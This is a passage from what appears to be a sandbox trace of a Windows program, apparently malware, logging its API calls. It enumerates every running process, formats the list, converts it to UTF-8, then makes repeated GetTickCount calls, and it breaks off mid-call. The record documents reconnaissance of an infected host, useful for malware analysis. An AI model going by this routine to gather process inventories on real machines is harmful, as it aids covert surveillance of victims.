[taskhost.exe]\r\n") returned 23 [0114.623] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0114.624] wvnsprintfW (in: pszDest=0x869b36, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1204] [prospectssayspotteryamplifier.exe]\r\n") returned 44 [0114.624] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0114.624] wvnsprintfW (in: pszDest=0x869b8e, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1408] [combinations-bits-tape.exe]\r\n") returned 37 [0114.624] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0114.625] wvnsprintfW (in: pszDest=0x869bd8, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[800] [delicious_sale.exe]\r\n") returned 28 [0114.625] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0114.625] wvnsprintfW (in: pszDest=0x869c10, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[100] [friendly.exe]\r\n") returned 22 [0114.625] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0114.626] wvnsprintfW (in: pszDest=0x869c3c, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1592] [reveal-salaries-mandate.exe]\r\n") returned 38 [0114.626] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0114.626] wvnsprintfW (in: pszDest=0x869c88, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1576] [catalogvidsmoreoverrail.exe]\r\n") returned 38 [0114.626] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0114.627] wvnsprintfW (in: pszDest=0x869cd4, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[836] [sri-gods.exe]\r\n") returned 22 [0114.627] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0114.627] wvnsprintfW (in: pszDest=0x869d00, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2044] [wines-fix-hopefully-analyzed.exe]\r\n") returned 43 [0114.628] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0114.628] wvnsprintfW (in: pszDest=0x8ba046, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2040] [lovers_voices_chicks.exe]\r\n") returned 35 [0114.628] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0114.629] wvnsprintfW (in: pszDest=0x8ba08c, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1508] [cool rev connection ranger.exe]\r\n") returned 41 [0114.629] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0114.629] wvnsprintfW (in: pszDest=0x8ba0de, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1160] [psychiatrychip.exe]\r\n") returned 29 [0114.629] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0114.630] wvnsprintfW (in: pszDest=0x8ba118, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1764] [delivers_launches_tagged_antique.exe]\r\n") returned 47 [0114.630] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0114.630] wvnsprintfW (in: pszDest=0x8ba176, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1696] [pp availability.exe]\r\n") returned 30 [0114.630] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0114.631] wvnsprintfW (in: pszDest=0x8ba1b2, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2052] [pdtdifficultrolandddr.exe]\r\n") returned 36 [0114.631] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0114.631] wvnsprintfW (in: pszDest=0x8ba1fa, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2068] [falls.exe]\r\n") returned 20 [0114.631] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0114.632] wvnsprintfW (in: pszDest=0x8ba222, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2084] [slightly dentists modified.exe]\r\n") returned 41 [0114.632] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0114.632] wvnsprintfW (in: pszDest=0x8ba274, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2100] [switchconventionspeppercovered.exe]\r\n") returned 45 [0114.632] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0114.633] wvnsprintfW (in: pszDest=0x8ba2ce, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2116] [statutes_slow_determines_ciao.exe]\r\n") returned 44 [0114.633] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0114.633] wvnsprintfW (in: pszDest=0x8ba326, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2132] [psp.exe]\r\n") returned 18 [0114.633] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0114.634] wvnsprintfW (in: pszDest=0x8ba34a, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2148] [anonymous.exe]\r\n") returned 24 [0114.634] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0114.634] wvnsprintfW (in: pszDest=0x8ba37a, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2164] [concept_nor_works_holder.exe]\r\n") returned 39 [0114.634] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.635] wvnsprintfW (in: pszDest=0x8ba3c8, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2396] [svchost.exe]\r\n") returned 22 [0114.635] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0114.636] wvnsprintfW (in: pszDest=0x8ba3f4, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2456] [OSPPSVC.EXE]\r\n") returned 22 [0114.636] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.636] wvnsprintfW (in: pszDest=0x8ba420, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2524] [svchost.exe]\r\n") returned 22 [0114.636] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0114.637] wvnsprintfW (in: pszDest=0x8ba44c, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2612] [cmd.exe]\r\n") returned 18 [0114.637] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.637] wvnsprintfW (in: pszDest=0x8ba470, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2620] [conhost.exe]\r\n") returned 22 [0114.637] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0114.638] wvnsprintfW (in: pszDest=0x8ba49c, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2996] [mscorsvw.exe]\r\n") returned 23 [0114.638] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0114.638] wvnsprintfW (in: pszDest=0x8ba4ca, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[3040] [mscorsvw.exe]\r\n") returned 23 [0114.638] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0114.639] wvnsprintfW (in: pszDest=0x8ba4f8, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2112] [sppsvc.exe]\r\n") returned 21 [0114.639] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.640] wvnsprintfW (in: pszDest=0x8ba522, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2196] [svchost.exe]\r\n") returned 22 [0114.640] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0114.640] wvnsprintfW (in: pszDest=0x8ba54e, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1628] [msiexec.exe]\r\n") returned 22 [0114.640] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0114.641] wvnsprintfW (in: pszDest=0x8ba57a, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2484] [tor.exe]\r\n") returned 18 [0114.641] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0114.641] CloseHandle (hObject=0x434) returned 1 [0114.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="[0] [[System Process]]\r\n[4] [System]\r\n[264] [smss.exe]\r\n[332] [csrss.exe]\r\n[380] [wininit.exe]\r\n[392] [csrss.exe]\r\n[432] [winlogon.exe]\r\n[476] [services.exe]\r\n[484] [lsass.exe]\r\n[492] [lsm.exe]\r\n[600] [svchost.exe]\r\n[664] [svchost.exe]\r\n[716] [svchost.exe]\r\n[792] [svchost.exe]\r\n[852] [svchost.exe]\r\n[920] [audiodg.exe]\r\n[1008] [svchost.exe]\r\n[352] [svchost.exe]\r\n[284] [spoolsv.exe]\r\n[1036] [svchost.exe]\r\n[1296] [taskhost.exe]\r\n[1372] [dwm.exe]\r\n[1384] [explorer.exe]\r\n[1480] [taskeng.exe]\r\n[2000] [taskeng.exe]\r\n[692] [taskeng.exe]\r\n[1932] [taskhost.exe]\r\n[1204] [prospectssayspotteryamplifier.exe]\r\n[1408] [combinations-bits-tape.exe]\r\n[800] [delicious_sale.exe]\r\n[100] [friendly.exe]\r\n[1592] [reveal-salaries-mandate.exe]\r\n[1576] [catalogvidsmoreoverrail.exe]\r\n[836] [sri-gods.exe]\r\n[2044] [wines-fix-hopefully-analyzed.exe]\r\n[2040] [lovers_voices_chicks.exe]\r\n[1508] [cool rev connection ranger.exe]\r\n[1160] [psychiatrychip.exe]\r\n[1764] [delivers_launches_tagged_antique.exe]\r\n[1696] [pp availability.exe]\r\n[2052] [pdtdifficultrolandddr.exe]\r\n[2068] [falls.exe]\r\n[2084] [slightly dentists modified.exe]\r\n[2100] [switchconventionspeppercovered.exe]\r\n[2116] [statutes_slow_determines_ciao.exe]\r\n[2132] [psp.exe]\r\n[2148] [anonymous.exe]\r\n[2164] [concept_nor_works_holder.exe]\r\n[2396] [svchost.exe]\r\n[2456] [OSPPSVC.EXE]\r\n[2524] [svchost.exe]\r\n[2612] [cmd.exe]\r\n[2620] [conhost.exe]\r\n[2996] [mscorsvw.exe]\r\n[3040] [mscorsvw.exe]\r\n[2112] [sppsvc.exe]\r\n[2196] [svchost.exe]\r\n[1628] [msiexec.exe]\r\n[2484] [tor.exe]\r\n", cchWideChar=1515, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1515 [0114.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="[0] [[System Process]]\r\n[4] [System]\r\n[264] [smss.exe]\r\n[332] [csrss.exe]\r\n[380] [wininit.exe]\r\n[392] [csrss.exe]\r\n[432] [winlogon.exe]\r\n[476] [services.exe]\r\n[484] [lsass.exe]\r\n[492] [lsm.exe]\r\n[600] [svchost.exe]\r\n[664] [svchost.exe]\r\n[716] [svchost.exe]\r\n[792] [svchost.exe]\r\n[852] [svchost.exe]\r\n[920] [audiodg.exe]\r\n[1008] [svchost.exe]\r\n[352] [svchost.exe]\r\n[284] [spoolsv.exe]\r\n[1036] [svchost.exe]\r\n[1296] [taskhost.exe]\r\n[1372] [dwm.exe]\r\n[1384] [explorer.exe]\r\n[1480] [taskeng.exe]\r\n[2000] [taskeng.exe]\r\n[692] [taskeng.exe]\r\n[1932] [taskhost.exe]\r\n[1204] [prospectssayspotteryamplifier.exe]\r\n[1408] [combinations-bits-tape.exe]\r\n[800] [delicious_sale.exe]\r\n[100] [friendly.exe]\r\n[1592] [reveal-salaries-mandate.exe]\r\n[1576] [catalogvidsmoreoverrail.exe]\r\n[836] [sri-gods.exe]\r\n[2044] [wines-fix-hopefully-analyzed.exe]\r\n[2040] [lovers_voices_chicks.exe]\r\n[1508] [cool rev connection ranger.exe]\r\n[1160] [psychiatrychip.exe]\r\n[1764] [delivers_launches_tagged_antique.exe]\r\n[1696] [pp availability.exe]\r\n[2052] [pdtdifficultrolandddr.exe]\r\n[2068] [falls.exe]\r\n[2084] [slightly dentists modified.exe]\r\n[2100] [switchconventionspeppercovered.exe]\r\n[2116] [statutes_slow_determines_ciao.exe]\r\n[2132] [psp.exe]\r\n[2148] [anonymous.exe]\r\n[2164] [concept_nor_works_holder.exe]\r\n[2396] [svchost.exe]\r\n[2456] [OSPPSVC.EXE]\r\n[2524] [svchost.exe]\r\n[2612] [cmd.exe]\r\n[2620] [conhost.exe]\r\n[2996] [mscorsvw.exe]\r\n[3040] [mscorsvw.exe]\r\n[2112] [sppsvc.exe]\r\n[2196] [svchost.exe]\r\n[1628] [msiexec.exe]\r\n[2484] [tor.exe]\r\n", cchWideChar=1515, lpMultiByteStr=0x8696d8, cbMultiByte=1516, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[0] [[System Process]]\r\n[4] [System]\r\n[264] [smss.exe]\r\n[332] [csrss.exe]\r\n[380] [wininit.exe]\r\n[392] [csrss.exe]\r\n[432] [winlogon.exe]\r\n[476] [services.exe]\r\n[484] [lsass.exe]\r\n[492] [lsm.exe]\r\n[600] [svchost.exe]\r\n[664] [svchost.exe]\r\n[716] [svchost.exe]\r\n[792] [svchost.exe]\r\n[852] [svchost.exe]\r\n[920] [audiodg.exe]\r\n[1008] [svchost.exe]\r\n[352] [svchost.exe]\r\n[284] [spoolsv.exe]\r\n[1036] [svchost.exe]\r\n[1296] [taskhost.exe]\r\n[1372] [dwm.exe]\r\n[1384] [explorer.exe]\r\n[1480] [taskeng.exe]\r\n[2000] [taskeng.exe]\r\n[692] [taskeng.exe]\r\n[1932] [taskhost.exe]\r\n[1204] [prospectssayspotteryamplifier.exe]\r\n[1408] [combinations-bits-tape.exe]\r\n[800] [delicious_sale.exe]\r\n[100] [friendly.exe]\r\n[1592] [reveal-salaries-mandate.exe]\r\n[1576] [catalogvidsmoreoverrail.exe]\r\n[836] [sri-gods.exe]\r\n[2044] [wines-fix-hopefully-analyzed.exe]\r\n[2040] [lovers_voices_chicks.exe]\r\n[1508] [cool rev connection ranger.exe]\r\n[1160] [psychiatrychip.exe]\r\n[1764] [delivers_launches_tagged_antique.exe]\r\n[1696] [pp availability.exe]\r\n[2052] [pdtdifficultrolandddr.exe]\r\n[2068] [falls.exe]\r\n[2084] [slightly dentists modified.exe]\r\n[2100] [switchconventionspeppercovered.exe]\r\n[2116] [statutes_slow_determines_ciao.exe]\r\n[2132] [psp.exe]\r\n[2148] [anonymous.exe]\r\n[2164] [concept_nor_works_holder.exe]\r\n[2396] [svchost.exe]\r\n[2456] [OSPPSVC.EXE]\r\n[2524] [svchost.exe]\r\n[2612] [cmd.exe]\r\n[2620] [conhost.exe]\r\n[2996] [mscorsvw.exe]\r\n[3040] [mscorsvw.exe]\r\n[2112] [sppsvc.exe]\r\n[2196] [svchost.exe]\r\n[1628] [msiexec.exe]\r\n[2484] [tor.exe]\r\n", lpUsedDefaultChar=0x0) returned 1515 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.642] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount 